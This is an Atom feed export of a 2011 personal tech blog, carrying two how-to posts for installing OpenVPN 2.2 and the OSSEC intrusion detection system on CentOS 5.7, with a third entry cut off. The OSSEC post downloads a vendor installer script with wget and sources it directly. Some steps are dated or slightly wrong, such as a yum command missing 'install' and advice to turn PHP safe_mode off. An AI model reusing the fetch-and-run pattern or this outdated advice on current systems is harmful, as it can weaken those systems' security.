<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7101191185610484252</id><updated>2012-01-13T14:31:25.718+10:00</updated><category term='pdflatex'/><category term='people suck'/><category term='bibliographystyle'/><category term='tools'/><category term='wikicfp'/><category term='texlive'/><category term='apt-get'/><category term='fake arp daemon'/><category term='privacy'/><category term='lion'/><category term='upgrade'/><category term='GNS3'/><category term='msf3'/><category term='spelling'/><category term='redhat'/><category term='game sites'/><category term='tftp'/><category term='backtrack'/><category term='acquire'/><category term='compromise'/><category term='spam'/><category term='show dsl'/><category term='openvpn'/><category term='minicom'/><category term='securingSCADA.info'/><category term='wget'/><category term='texlive-bibtex-extra'/><category term='authentication'/><category term='farpd'/><category term='laptop mode'/><category term='putty'/><category term='battery'/><category term='metasploit'/><category term='ntp'/><category term='ctf'/><category term='pdf'/><category term='squid'/><category term='.ssh'/><category term='puttygen'/><category term='call for papers'/><category term='blogs suck'/><category term='metasploitable'/><category term='dmz'/><category term='isi'/><category term='little endian'/><category term='ubuntu'/><category term='error'/><category term='pentest'/><category term='rapid7'/><category term='big endian'/><category term='google'/><category term='rsa'/><category term='reboot'/><category term='sony'/><category term='hacking'/><category term='apt-key'/><category term='php shell'/><category term='OS X'/><category term='bullshit sucks'/><category term='reverse shell'/><category term='adsl'/><category term='ips'/><category term='shell'/><category term='frame relay'/><category term='msfconsole'/><category term='macbook'/><category term='ericsson'/><category term='kush.com.fj'/><category term='cisco rommon flash ios'/><category term='ned kelly'/><category term='repository'/><category term='hack'/><category term='recovery'/><category term='gmt'/><category term='acquire strategy'/><category term='gnu screen'/><category term='localtime'/><category term='macbook pro'/><category term='reload'/><category term='MergeList'/><category term='qut'/><category term='mac os x'/><category term='ssh'/><category term='ppk'/><category term='scapy'/><category term='daq'/><category term='openssh'/><category term='tar'/><category term='chris bryant'/><category term='board games'/><category term='service mode'/><category term='HTML editor'/><category term='p910i'/><category term='sudo'/><category term='gvim'/><category term='utc'/><category term='hardware time'/><category term='joomscan'/><category term='sysv'/><category term='server'/><category term='vpn'/><category term='texlive publishers'/><category term='MMap'/><category term='macports'/><category term='lab'/><category term='unzip'/><category term='install'/><category term='smart grid'/><category term='journals'/><category term='public key'/><category term='eken m002'/><category term='keys'/><category term='keepass'/><category term='documentclass'/><category term='penetration testing'/><category term='kush.id.au'/><category term='texlive-latex-extra'/><category term='ramblings'/><category term='date'/><category term='IEEETrans'/><category term='presentation'/><category term='evernote'/><category term='cisco'/><category term='show flash'/><category term='yum'/><category term='munmap'/><category term='keygen'/><category term='Mac'/><category term='board game review'/><category term='firmware'/><category term='.net'/><category term='MSOXMLED.EXE'/><category term='vim'/><category term='hwclock'/><category term='review'/><category term='snort'/><category term='laptop'/><category term='serial'/><category term='abstract'/><category term='MSOHTMED.EXE'/><category term='nevernote'/><category term='virtualbox'/><category term='centos'/><category term='dynamips'/><category term='westpac'/><category term='mysql'/><category term='honeyd'/><category term='vmware'/><category term='security'/><category term='barnyard'/><category term='ringtone'/><category term='pmset'/><category term='WSO 2.5'/><category term='bash'/><category term='endian'/><category term='forensics'/><category term='timezone'/><category term='android'/><category term='xcode'/><category term='network programming'/><category term='ids'/><category term='libpcap'/><category term='urbanspoon'/><category term='apacite'/><category term='system time'/><category term='itunes'/><category term='CPU usage'/><category term='.bash_profile'/><category term='bunzip2'/><category term='proxy'/><category term='joomla'/><category term='pcre'/><category term='apple'/><category term='libdnet'/><category term='back door'/><category term='iphone app'/><category term='CCNA studies'/><category term='conference'/><category term='http'/><category term='9600'/><category term='curry'/><category term='C++'/><category term='console'/><category term='narcissism'/><category term='python'/><category term='apt-get install'/><category term='com1'/><category term='authenticate'/><category term='owasp'/><category term='script'/><category term='domain'/><category term='windows'/><category term='spell check'/><category term='toshiba'/><category term='copy tftp'/><category term='port'/><category term='spell'/><category term='ossec'/><category term='linux'/><category term='hibernate'/><category term='php'/><category term='web shell by orb'/><category term='fake arp'/><category term='nmap'/><category term='games'/><category term='book'/><category term='time'/><category term='such is life'/><category term='scada'/><category term='static routing'/><category term='clock'/><category term='vbox'/><category term='apt-get-repository'/><category term='runtime'/><category term='dsa'/><category term='fail'/><category term='mono'/><category term='LaTeX'/><category term='password'/><category term='netcat'/><title type='text'>Kush, Nishchal</title><subtitle type='html'>Welcome to my blog, For more information about me, visit my website at http://www.kush.com.fj. This blog is mostly just to keep a track of my ramblings and thoughts, game reviews, and crazy hair-brained ideas, so don't expect to find any profound life altering body of knowledge here...</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>52</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-8179765572317911602</id><published>2011-10-31T15:43:00.001+10:00</published><updated>2011-10-31T18:00:24.409+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='server'/><category scheme='http://www.blogger.com/atom/ns#' term='install'/><category scheme='http://www.blogger.com/atom/ns#' term='centos'/><category scheme='http://www.blogger.com/atom/ns#' term='wget'/><category scheme='http://www.blogger.com/atom/ns#' term='vpn'/><category scheme='http://www.blogger.com/atom/ns#' term='yum'/><category scheme='http://www.blogger.com/atom/ns#' term='openvpn'/><title type='text'>Installing OpenVPN 2.2 on Centos 5.7</title><content type='html'>OpenVPN is an SSL based VPN. There are other VPN solutions such as IPsec,&amp;nbsp;etc.&amp;nbsp;but OpenVPN provides a cost effective alternative. I like OpenVPN as it support two-way authentication, i.e. both the client and server authenticate using certificates. To install OpeVPN on CentOS we need a number of cryptographic libraries. The simplest way is to use the DAG/RPMForge repository.&lt;br /&gt;&lt;br /&gt;Set-up&amp;nbsp;the RPMForge repository &lt;span class="Apple-style-span" style="font-family: inherit; font-size: xx-small;"&gt;[1]&lt;/span&gt;, as this&amp;nbsp;contains&amp;nbsp;the packages necessary for the installation and the instructions are provided below. The instructions below are just to document this specific installation and therefore this blog post is not to be misinterpreted as a best practises guide. The instructions are adapted from the OpenVPN website &lt;span class="Apple-style-span" style="font-size: xx-small;"&gt;[2], &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;but this blog post is intended more as a quick and dirty guide to getting OpenVPN running on CentOS 5.7. Additionally the&amp;nbsp;&lt;/span&gt;set-up&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;and configuration of the client is considered beyond the scope of this blog post.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Install packages&lt;/li&gt;&lt;ol&gt;&lt;li&gt;rpm -Uhv http://apt.sw.be/redhat/el5/en/i386/rpmforge/RPMS/rpmforge-release-0.3.6-1.el5.rf.i386.rpm&lt;/li&gt;&lt;li&gt;yum -y update&lt;/li&gt;&lt;li&gt;yum -y openvpn&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;Set-up configuration files&lt;/li&gt;&lt;ol&gt;&lt;li&gt;cd /etc/openvpn/&lt;/li&gt;&lt;li&gt;cp /usr/share/doc/openvpn-2.2.0/sample-config-files/server.conf .&lt;/li&gt;&lt;li&gt;mkdir -p /etc/openvpn/easy-rsa/keys&lt;/li&gt;&lt;li&gt;cd&amp;nbsp;/etc/openvpn/easy-rsa&lt;/li&gt;&lt;li&gt;cp -rf /usr/share/doc/openvpn-2.2.0/easy-rsa/2.0/* .&lt;/li&gt;&lt;li&gt;chmod o+x,g+x clean-all,&amp;nbsp;build-*&amp;nbsp;vars&amp;nbsp;whichopensslcnf&amp;nbsp;pkitool&amp;nbsp;inherit-inter list-crl revoke-full sign-req&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;Edit the PKI configuration&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #242424; line-height: 22px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;vi /etc/openvpn/easy-rsa/vars&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #242424; line-height: 22px;"&gt;Also consider setting the key length using KEY_SIZE variable, 1024 is the default 2048 is better, but slows down the TLS, but I am paranoid and use 4096 bit keys&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #242424; line-height: 22px;"&gt;Set the country (KEY_COUNTRY), state (KEY_PROVINCE), locality (KEY_CITY), organisation name (KEY_ORG), and support email (KEY_EMAIL)&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/ol&gt;&lt;li&gt;Set-up&amp;nbsp;the PKI infrastructure. This involves make a certificate authority and then generate the server certificate and any client machine certificates&lt;/li&gt;&lt;ol&gt;&lt;li&gt;Create the certificate authority&lt;/li&gt;&lt;ol&gt;&lt;li&gt;. ./vars&lt;/li&gt;&lt;li&gt;./clean-all&lt;/li&gt;&lt;li&gt;./build-ca&lt;/li&gt;&lt;li&gt;The CA key and certificate should not be in the keys directory inside the easy-rsa directory.&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;Create certificate for the server&lt;/li&gt;&lt;ol&gt;&lt;li&gt;./build-key-server &lt;span class="Apple-style-span" style="font-size: x-small;"&gt;NAME_OF_SERVER&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Answer the questions and commit the certificate into the database&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;Create the Diffie Hellman files&lt;/li&gt;&lt;ol&gt;&lt;li&gt;These files are used for the actual key exchange to ensure the confidentiality over an insecure channel, aka the Internet. Based on the length of the key used (KEY_SIZE) it may take a while.&lt;/li&gt;&lt;li&gt;./build-dh&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;Create the certificate for each client&lt;/li&gt;&lt;ol&gt;&lt;li&gt;When doing this for clients, I generate one for each device a client may use, that way if a device is stolen or goes missing, I only have to revoke a single certificate and the others keep working as they do. Not sure if this a good approach, but its definitely my quick and dirty (lazy) approach.&lt;/li&gt;&lt;li&gt;./build-key &lt;span class="Apple-style-span" style="font-size: x-small;"&gt;LAPTOP&lt;/span&gt;&lt;/li&gt;&lt;li&gt;./build-key &lt;span class="Apple-style-span" style="font-size: x-small;"&gt;HOME-DESKTOP&lt;/span&gt;&lt;/li&gt;&lt;li&gt;./build-key &lt;span class="Apple-style-span" style="font-size: x-small;"&gt;PDA&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/ol&gt;&lt;li&gt;Edit the server configuration file&amp;nbsp;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;vi /etc/openvpn/server.conf&lt;/li&gt;&lt;li&gt;Check/change&lt;/li&gt;&lt;ol&gt;&lt;li&gt;local&lt;/li&gt;&lt;li&gt;proto&lt;/li&gt;&lt;li&gt;dev&lt;/li&gt;&lt;li&gt;port&lt;/li&gt;&lt;li&gt;ca&lt;/li&gt;&lt;li&gt;cert&lt;/li&gt;&lt;li&gt;key&lt;/li&gt;&lt;li&gt;dh&lt;/li&gt;&lt;li&gt;max-clients&lt;/li&gt;&lt;li&gt;user&lt;/li&gt;&lt;li&gt;group&lt;/li&gt;&lt;li&gt;log-append&lt;/li&gt;&lt;li&gt;verb&lt;/li&gt;&lt;/ol&gt;&lt;/ol&gt;&lt;li&gt;Start everything&lt;/li&gt;&lt;ol&gt;&lt;li&gt;/etc/rc.d/init/openvpn start&lt;/li&gt;&lt;li&gt;chkconfig --level 235 openvpn on&lt;/li&gt;&lt;/ol&gt;&lt;/ol&gt;&lt;u&gt;Possible Errors&lt;/u&gt;:&lt;br /&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;If the OpenVPN server fails to start, ensure that logging is enabled, i.e. refer to log-append in the configuration file and examine the log. A common error is that OpenVPN fails to open certain files, check that the paths to these files are specified correctly.&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;u&gt;References&lt;/u&gt;:&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;&lt;a href="http://dag.wieers.com/rpm/FAQ.php"&gt;http://dag.wieers.com/rpm/FAQ.php&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://openvpn.net/howto.html"&gt;http://openvpn.net/howto.html&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-8179765572317911602?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/8179765572317911602/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2011/10/installing-openvpn-22-on-centos-57.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/8179765572317911602'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/8179765572317911602'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2011/10/installing-openvpn-22-on-centos-57.html' title='Installing OpenVPN 2.2 on Centos 5.7'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-2180007661776668794</id><published>2011-10-30T19:04:00.002+10:00</published><updated>2011-10-31T11:56:12.460+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tar'/><category scheme='http://www.blogger.com/atom/ns#' term='ips'/><category scheme='http://www.blogger.com/atom/ns#' term='centos'/><category scheme='http://www.blogger.com/atom/ns#' term='snort'/><category scheme='http://www.blogger.com/atom/ns#' term='ossec'/><category scheme='http://www.blogger.com/atom/ns#' term='wget'/><category scheme='http://www.blogger.com/atom/ns#' term='squid'/><category scheme='http://www.blogger.com/atom/ns#' term='ids'/><title type='text'>Installing OSSEC on Centos 5.7</title><content type='html'>OSSEC is an open source host-based IDS that performs log analysis, and is able to correlate and analyse logs for a number of Linux (and Windows, but that is outside the scope of this blog post) servers. The software architecture of OSSEC and the use of agents, lends OSSEC to flexible deployment and management&amp;nbsp;&lt;span class="Apple-style-span" style="font-size: xx-small;"&gt;[1]&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Set-up the Atomic repository that already has the appropriate OSSEC packages and install them would be the easiest way. However I have a strong dislike for the use of the /var partition (most system administrators, hmm... well&amp;nbsp;at-least&amp;nbsp;I have always, set this up as a separate partition for ease of management and security reasons) as an install location,&amp;nbsp;esp.&amp;nbsp;when it has been specified as a "noexec" partition.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;Please Note&lt;/b&gt;:&amp;nbsp;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Firstly, there are a number of dependencies of some of the set-up below, such as Apache, PHP, MySQL, but&amp;nbsp;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;the installation and secure configuration of these services are beyond the scope of this blog post. Secondly, the configuration below is only to set-up OSSEC as a monitor and not run it in IPS, i.e. as an active response alert handler.&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Installation using the repository&lt;/u&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span"&gt;wget https://www.atomicorp.com/installers/atomic -O atomic.sh&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span"&gt;. ./atomic.sh&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span"&gt;yum -y update&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span"&gt;yum -y install ossec-hids ossec-hids-server ossec-wui&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;&lt;u&gt;Installation using the tar ball source&lt;/u&gt;&lt;/span&gt;&lt;/div&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;Download, compile and install the source&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;wget http://www.ossec.net/files/ossec-hids-2.6.tar.gz&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;tar zxvf ossec-hids-2.6.tar.gz&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;cd ossec-hids-2.6/src&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;make clean&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;make setdb&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;make all&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;cd ..&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;./install.sh&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;en&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;local&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;/opt/ossec&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;y&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;user@domain&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;mx.domain&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;y&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;y&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;n&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;Setup mysql DB for logging&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;Grant access to database&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;mysql -u root -p&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;grant INSERT,SELECT,UPDATE,CREATE,DELETE,EXECUTE on ossec.* to ossecuser@localhost;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;set password for ossecuser@localhost=PASSWORD('&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;PASSWD&lt;/span&gt;');&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;quit;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;Create database and tables&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;mysqladmin -u root -p create ossec&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;mysql -u root -p ossec &amp;lt; src/os_dbd/mysql.schema&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;Edit the /opt/ossec/etc/ossec.conf file&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;Check the wiki to setup logging to the database and syslog &lt;span class="Apple-style-span" style="font-size: xx-small;"&gt;[2]&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;Install the Web User Interface, you will need&amp;nbsp;Apache&amp;nbsp;and php&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;Again, the installation and secure configuration of&amp;nbsp;Apache&amp;nbsp;is beyond the scope of this blog post.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;wget http://www.ossec.net/files/ui/ossec-wui-0.3.tar.gz&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;tar zxvf&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;ossec-wui-0.3.tar.gz&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;mkdir -p /var/www/html/ossec-wui&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;cp -rf ./ossec-wui-0.3/* /var/www/html/ossec-wui/&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;cd /var/www/html/ossec-wui/&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;./setup.sh&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;Edit the ossec_conf.php to point to the ossec installation completed in the previous stage&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;$ossec_dir="/opt/ossec";&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;Start the OSSEC services&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;/opt/ossec/bin/ossec-control enable database&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;/opt/ossec/bin/ossec-control enable&amp;nbsp;client-syslog&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;/opt/&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;ossec/bin/ossec-control start&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;ol&gt;&lt;/ol&gt;&lt;/ol&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;&lt;u&gt;Possible Errors&lt;/u&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;When executing OSSEC-WUI you may get a page that displays.&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;"Unable to access OSSEC directory".&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;Ensure that the user that your Apache web server runs as, e.g. httpd or apache is added to the ossec group&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;usermod -a -G ossec apache.&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;"Unable to retrieve alerts". Ensure that you web server is able to open the alerts file. This issue is two fold, firstly ensure that the web server has permissions to open the file and secondly that the fopen command is enabled in PHP.&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;safe_mode Off&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;safe_mode_gid On&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;These two are no so much error, but warning that will be annoy your syslog server, but depend on your PHP configuration.&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;PHP Warning: &amp;nbsp;shell_exec() has been disabled for security reasons - This is because of a uname -a query in the /var/www/html/ossec-wui/lib/os_lib_agent.php script;&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;//$agent_list[$agent_count]{'os'} = `uname -a`;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;$agent_list[$agent_count]{'os'} = "Linux";&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;PHP Warning: &amp;nbsp;fseek() expects parameter 3 to be long - This may be a simple programming error in the /var/www/html/ossec-wui/lib/os_lib_alerts.php&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;//fseek($fp, $seek_place, "SEEK_SET");&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;fseek($fp, $seek_place );&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/ol&gt;&lt;ol&gt;&lt;/ol&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;&lt;u&gt;References&lt;/u&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 23px;"&gt;&lt;a href="http://en.wikipedia.org/wiki/OSSEC"&gt;http://en.wikipedia.org/wiki/OSSEC&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.ossec.net/wiki"&gt;http://www.ossec.net/wiki&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-2180007661776668794?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/2180007661776668794/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2011/10/installing-ossec-on-centos-57.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/2180007661776668794'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/2180007661776668794'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2011/10/installing-ossec-on-centos-57.html' title='Installing OSSEC on Centos 5.7'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-5256607499956332639</id><published>2011-10-29T21:11:00.004+10:00</published><updated>2011-10-30T03:28:53.350+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='libdnet'/><category scheme='http://www.blogger.com/atom/ns#' term='install'/><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='centos'/><category scheme='http://www.blogger.com/atom/ns#' term='libpcap'/><category scheme='http://www.blogger.com/atom/ns#' term='snort'/><category scheme='http://www.blogger.com/atom/ns#' term='pcre'/><category scheme='http://www.blogger.com/atom/ns#' term='repository'/><category 